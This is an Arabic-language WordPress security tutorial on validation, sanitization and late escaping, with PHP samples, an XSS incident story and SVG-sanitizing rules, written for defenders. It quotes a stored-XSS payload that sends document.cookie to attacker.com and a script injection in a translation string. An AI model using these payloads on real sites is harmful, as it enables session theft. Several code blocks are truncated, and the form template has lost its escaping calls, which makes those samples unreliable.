الثلاثي الأمني في ووردبريس: الفرق بين التحقق (Validation) والتطهير (Sanitization) والهروب (Escaping)

تشبيه المطار العبقري: كيف تفهم الثالوث الأمني في دقيقة؟

عشان ترسخ المفاهيم دي في عقلك للأبد وماتنساهاش طول حياتك المهنية، تخيل إنك مسافر في مطار دولي:

1. التحقق (Validation) – ضابط الجوازات عند بوابة الدخول:
   الضابط بيبص في باسبورك وتذكرتك وتأشيرتك؛ لو بياناتك غير مطابقة أو منتهية، بيرفض دخولك من الباب فوراً ويقولك: “ممنوع، ارجع مكان ما جيت!”. هو مش بيحاول يصلح باسبورك، هو بيطردك بدري (Early Rejection).
2. التطهير (Sanitization) – جهاز التفتيش والجمارك:
   لو مسموح لك تدخل، بيعدي شنطتك على السير؛ لو معاك مياه زيادة بيصادرها، لو في حاجة حادة بيشيلها، وبينظف الشنطة بحيث تدخل الطيارة مطابقة لقواعد الأمان تماماً. ده اللي بنعمله قبل ما نحط البيانات في قاعدة البيانات (قبل التخزين).
3. الهروب (Escaping) – القناع الواقي وسترة النجاة عند الخروج للشارع:
   حتى لو الشنطة اتفتشت، لما تيجي تنزل في مطار الوصول الاستوائي، بتلبس جاكيت المطر أو النظارة الشمسية المناسبة للبيئة اللي أنت خارج فيها. الهروب بيحصل لحظة خروج البيانات للمتصفح، عشان المتصفح ميفهمش النص العادي على إنه كود جافاسكريبت تنفيذي!

الركن الأول: التحقق الصارم من صحة المدخلات (Data Validation)

القاعدة الذهبية في التحقق: **”لا تحاول إصلاح البيانات التالفة، ارفضها بدري واطلب من المستخدم تصحيحها!”**.
لو متوقع بريد إلكتروني، والمستخدم كتب "mohamed"، متقعدش تخمن؛ ارمي خطأ فوراً.

أهم تقنيات التحقق في ووردبريس:

• القائمة البيضاء الصارمة (Strict Whitelisting): أفضل أنواع التحقق على الإطلاق؛ لو عندك حقل اختيار حالة الطلب (pending, processing, completed)، افحص بـ in_array($status, ['pending', 'processing', 'completed'], true).
• التحقق من البريد الإلكتروني: دالة is_email($email) الخاصة بووردبريس.
• التحقق من الأرقام الصحيحة والموجبة: دوال is_numeric() وفحص المدى (Range Checking) مثل: $age >= 18 && $age <= 100.
• التحقق من التواريخ والتنسيقات: باستخدام كلاس DateTime::createFromFormat().
• فلاتر PHP الأصلية: filter_var($ip, FILTER_VALIDATE_IP).

الركن الثاني: التطهير والتنقية قبل التخزين (Data Sanitization)

التطهير معناه تجهيز البيانات لتكون آمنة ونظيفة ومطابقة للغرض المطلوب قبل ما تدخل جدول قاعدة البيانات.
ووردبريس بيوفر ترسانة ضخمة من دوال التطهير المتخصصة، والمطور المحترف بيختار الدالة الدقيقة اللي تناسب نوع الحقل:

الركن الثالث: الهروب المتأخر عند العرض (Late Escaping)

دي النقطة اللي بتسقط فيها أكبر الإضافات في اختبارات المراجعة الأمنية لموقع WordPress.org!
القاعدة الذهبية المعتمدة في كبرى المؤسسات البرمجية:

“Never escape data before database storage; Always escape data at the exact point of output (Late Escaping)!”

ليه بنعمل الهروب لحظة الطباعة فقط؟

1. تعدد سياقات العرض (Multiple Output Contexts): نفس نص السيرة الذاتية ممكن تطلعه في صفحة ويب (محتاج esc_html)، أو تحطه جوة خاصية value في حقل إدخال (محتاج esc_attr)، أو تحطه في رابط (محتاج esc_url)، أو تبعته في كود جافاسكريبت (محتاج wp_json_encode)! لو عملت هروب قبل الداتا بيز، بوظت النص لكل السياقات التانية!
2. تجنب التشفير المزدوج (Double Escaping): لو عملت هروب للنص وخزنته في الداتا بيز، وجيت تعرضه وعملت له هروب تاني، كلمة "Abozaid & Sons" هتتحول في المتصفح لـ: Abozaid & Sons وشكل الموقع هيبقى مقزز ومضحك!
3. سهولة التدقيق البرمجي (Auditability): لما مراجع الأكواد يفتح ملف القالب (Template)، لازم يشوف كلمة echo esc_... قبل كل متغير. لو ملقاش دالة الهروب قدام عينه، هيفترض فوراً إن المتغير غير محمي ويرفض الإضافة.

دوال الهروب حسب سياق العرض:

• داخل جسم الـ HTML: echo esc_html($text);
• داخل خصائص الوسوم (Attributes): <input type="text" value="<?php echo esc_attr($name); ?>">
• داخل روابط الـ href و src: <a href="<?php echo esc_url($link); ?>"> (دالة esc_url تمنع بروتوكول javascript:alert(1) الخبيث!).
• داخل وسوم التكست إريا: <textarea><?php echo esc_textarea($bio); ?></textarea>
• داخل كود الجافاسكريبت المضمن: إياك واستخدام esc_js() للنصوص المعقدة! استخدم دائماً wp_json_encode($data) لأنه يقوم بترميز كافة المحارف الحساسة وتحويل المصفوفات والكائنات لـ JSON آمن للمتصفح بنسبة 100%.

التطبيق البرمجي العملي: نموذج تسجيل وتعديل ملف شركة متكامل محصن

تعال نشوف كود إنتاجي يوضح التناغم بين التحقق والتطهير والهروب في شاشة تعديل بيانات شركة:

 403]);
        }

        $errors = new WP_Error();

        // 2. مرحلة التحقق الصارم (Validation)
        $rawEmail = $_POST['company_email'] ?? '';
        if (!is_email($rawEmail)) {
            $errors->add('invalid_email', 'البريد الإلكتروني للشركة غير صالح.');
        }

        $rawSector = $_POST['business_sector'] ?? '';
        $allowedSectors = ['tech', 'real_estate', 'retail', 'health'];
        if (!in_array($rawSector, $allowedSectors, true)) {
            $errors->add('invalid_sector', 'قطاع الأعمال المحدد غير موجود في القائمة المعتمدة.');
        }

        $rawWebsite = $_POST['company_website'] ?? '';
        if (!empty($rawWebsite) && !filter_var($rawWebsite, FILTER_VALIDATE_URL)) {
            $errors->add('invalid_url', 'رابط الموقع الإلكتروني غير صحيح.');
        }

        // لو في أخطاء في التحقق، نتوقف فوراً ونرجع للمستخدم
        if ($errors->has_errors()) {
            set_transient('profile_errors_' . get_current_user_id(), $errors->get_error_messages(), 45);
            wp_safe_redirect(wp_get_referer());
            exit;
        }

        // 3. مرحلة التطهير والتنقية قبل الحفظ (Sanitization)
        $cleanName    = sanitize_text_field($_POST['company_name'] ?? '');
        $cleanEmail   = sanitize_email($rawEmail);
        $cleanSector  = sanitize_key($rawSector);
        $cleanWebsite = esc_url_raw($rawWebsite); // للحفظ في الداتا بيز نستخدم esc_url_raw

        // تطهير النبذة باستخدام wp_kses المخصصة للسماح فقط بـ  و  و 
        $allowedHtml = [
            'b' => [],
            'strong' => [],
            'i' => [],
            'em' => [],
            'a' => [
                'href' => true,
                'title' => true,
                'target' => true,
                'rel' => true
            ]
        ];
        $cleanBio = wp_kses($_POST['company_bio'] ?? '', $allowedHtml);

        // 4. الحفظ الآمن في قاعدة البيانات بـ prepare
        $this->db->update(
            $this->db->prefix . 'company_profiles',
            [
                'company_name' => $cleanName,
                'email'        => $cleanEmail,
                'sector'       => $cleanSector,
                'website'      => $cleanWebsite,
                'bio'          => $cleanBio,
                'updated_at'   => current_time('mysql')
            ],
            ['user_id' => get_current_user_id()],
            ['%s', '%s', '%s', '%s', '%s', '%s'],
            ['%d']
        );

        wp_safe_redirect(add_query_arg('status', 'success', wp_get_referer()));
        exit;
    }

    /**
     * عرض نموذج تعديل الملف مع تطبيق مبدأ Late Escaping الصارم
     */
    public function renderProfileForm(array $company): void {
        ?>
        

            
تعديل ملف الشركة
            <form method="post" action="">
                
                

                
                

                    اسم الشركة:
                    <input type="text" name="company_name" value="" required>
                

                

                    البريد الإلكتروني:
                    <input type="email" name="company_email" value="" required>
                

                
                

                    الموقع الإلكتروني:
                    <input type="url" name="company_website" value="">
                

                
                

                    نبذة عن الشركة:
                    
                

                حفظ التغييرات
            
        

        
        
            const companyConfig =  esc_js($company['sector']),
                'isAdmin' => current_user_can('manage_options')
            ]); ?>;
            console.log('Company Profile Loaded:', companyConfig);
        
        <?php
    }
}

دراسة حالة حقيقية: كارثة منصة التوظيف الكبرى بالقاهرة

عشان تعرف خطورة الخلط بين التطهير والهروب، هشاركك واقعة حقيقية حصلت مع منصة توظيف مصرية شهيرة مقرها في القرية الذكية بالقاهرة بتربط بين 50,000 باحث عن عمل ومئات الشركات الكبرى في مصر والخليج:

الخطأ القاتل:
مبرمج المنصة كان عامل حقل “النبذة التعريفية للمتقدم” (Candidate Bio) بيسمح بتنسيق بسيط. المبرمج طهر الحقل عند الدخول باستخدام دالة sanitize_text_field()، لكنه في صفحة عرض السيرة الذاتية أمام مديري الموارد البشرية (HR Managers) كتب السطر ده:

<div class="candidate-bio"><?php echo $candidate['bio']; ?></div>
المبرمج قال: “أنا طهرت النص قبل ما يدخل الداتا بيز، فمش محتاج أعمل Escaping وأنا بعرضه!”.

يوم الاختراق وهجوم Stored XSS:
أحد المهاجمين كان بيدور على وظيفة، وفهم الثغرة. المهاجم استغل ثغرة في حقل آخر غير مطهر أو قام بحقن كود JavaScript خبيث مشفر بصيغة معينة داخل حقله:

<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

الكارثة:
في اليوم التالي، مدير الموارد البشرية لإحدى كبرى شركات الاتصالات دخل يفحص السيرة الذاتية للمتقدم. أول ما فتح الصفحة، كود الـ JavaScript اشتغل في متصفحه فوراً بدون علمه، وسرق الـ Session Cookie الخاص بمدير الشركة!
الهاكر استخدم الكوكي المسروقة، ودخل على لوحة تحكم شركة الاتصالات، ونزل بيانات رواتب الموظفين السرية بالكامل، وعروض العمل المقدمة للمرشحين، وبدأ يبتز الشركة مالياً!

العلاج المعماري الشامل:
لما دخلت لمراجعة الحادث الأمني:

1. تطبيق قاعدة Late Escaping الصارمة في كل قوالب المنصة: تم استبدال كافة استدعاءات echo $var بـ echo esc_html() أو echo wp_kses_post().
2. تفعيل Content Security Policy (CSP): تم إضافة ترويسة أمنية تمنع المتصفح من إرسال أي بيانات لنطاقات خارجية غير مصرح بها حتى لو تم حقن كود جافاسكريبت.
3. عزل الجلسات بـ HttpOnly Cookies: تفعيل علامة HttpOnly على كوكيز الجلسات لضمان استحالة قراءتها بواسطة كود الجافاسكريبت في المتصفح.

النتيجة: تم إغلاق الثغرة تماماً، واستعادت المنصة ثقة الشركات الشريكة، وتم اعتماد قواعد فحص أمني آلية تمنع دمج أي كود في Git لا يحتوي على Late Escaping.

الوصايا العشر للثالوث الأمني (Validation, Sanitization, Escaping)

1. اطرد بدري عند الباب (Validate Early): ارفض البيانات التالفة فوراً ولا تحاول التنبؤ بما كان يقصده المستخدم.
2. نظف قبل التخزين (Sanitize before Save): استخدم دوال التطهير المتخصصة (مثل sanitize_text_field) قبل كتابة أي سطر في قاعدة البيانات.
3. اهرب عند آخر ثانية (Late Escaping): لا تقم بتهريب البيانات في قاعدة البيانات، بل اهرب منها لحظة خروجها في دالة echo.
4. احترم سياق العرض (Contextual Escaping): استخدم esc_html للنصوص، و esc_attr للخصائص، و esc_url للروابط، و wp_json_encode للجافاسكريبت.
5. إياك و esc_url_raw في العرض: دالة esc_url_raw() مخصصة لحفظ الروابط في قاعدة البيانات أو استدعاءات HTTP فقط، واستخدامها في العرض قد يسبب ثغرات XSS.
6. خصص وسوم wp_kses بدقة: لا تستخدم wp_kses_post() إلا إذا كنت تثق في المستخدم بدرجة محرر، واستخدم wp_kses() بقائمة وسوم بيضاء للمستخدمين العاديين.
7. استخدم Strict Whitelisting للخيارات المحددة: افحص قيم القوائم المنسدلة باستخدام in_array($val, $list, true) مع تفعيل المعامل الصارم true.
8. تخلص من الدوال المهملة (Deprecated Functions): لا تستخدم دوال قديمة مثل clean_url() واستبدلها بـ esc_url() الحديثة.
9. فعل إضافة WordPress Coding Standards (WPCS): استخدم أداة phpcs مع قواعد ووردبريس؛ فهي تكتشف تلقائياً أي متغير يتم طباعته بدون دالة هروب وتمنعك من ارتكاب الأخطاء.
10. لا تثق في قاعدة بياناتك الخاصة: حتى لو كانت البيانات مخزنة في جدولك، اعتبرها ملوثة واهرب منها عند العرض؛ فربما تم تعديلها يدوياً أو عبر إضافة أخرى.

دوال الترجمة والهروب المدمجة (Internationalization Escaping Suite)

لو أنت بتبني إضافة قابلة للترجمة بلغات متعددة باستخدام ملفات .po و .mo، في قاعدة أمنية صادمة كتير من المطورين بيغفلوا عنها:
**ملفات الترجمة قد تكون مصدراً لهجمات XSS خبيثة!**

تخيل إنك بتستعين بمترجم خارجي لترجمة إضافتك للغة الفرنسية أو الألمانية؛ المترجم ده لو حسابه مخترق، أو كان سيء النية، يقدر يحط في ملف الترجمة كود جافاسكريبت خبيث زي:

"Save Changes" => "Enregistrer <script>evilCode()</script>"!
لو كتبت في القالب echo __('Save Changes', 'my-plugin');، الكود الخبيث هيشتغل في متصفح المدير فوراً!

عشان كده ووردبريس بيوفر عائلة دوال سحرية بتدمج الترجمة مع الهروب في سطر واحد:

كارثة ملفات وأكواد الـ SVG: ثغرات XSS المقنعة

كتير من المصممين والمطورين بيحبوا يستخدموا أيقونات الـ SVG في إضافات ووردبريس لخفتها ودقتها العالية في الشاشات.
لكن هندسياً، ملف الـ SVG مش مجرد صورة عادية زي PNG أو JPEG؛ **ملف الـ SVG هو في الأصل ملف XML كودي كامل**!
وده معناه إنه يقدر يحتوي على وسوم <script> تنفذ جافاسكريبت، أو أحداث مشبوهة زي onload="alert(1)"!

لو سمحت للمستخدمين أو المديرين برفع ملفات SVG أو حقن أكواد SVG بدون تطهير مخصص، فأنت فتحت ثغرة XSS مباشرة.

الحل المعماري لتطهير الـ SVG:
لا تستخدم wp_kses_post() لأنها لا تسمح بوسوم الـ SVG افتراضياً. يجب عليك بناء مصفوفة بيضاء مخصصة بدقة لدعم وسوم الـ SVG الآمنة فقط:

 [
            'class'       => true,
            'aria-hidden' => true,
            'viewbox'     => true,
            'xmlns'       => true,
            'width'       => true,
            'height'      => true,
            'fill'        => true
        ],
        'path' => [
            'd'           => true,
            'fill'        => true,
            'stroke'      => true
        ],
        'circle' => [
            'cx' => true,
            'cy' => true,
            'r'  => true
        ]
    ];
}

// عرض كود الـ SVG بأمان مطلق
echo wp_kses($rawSvgContent, get_safe_svg_rules());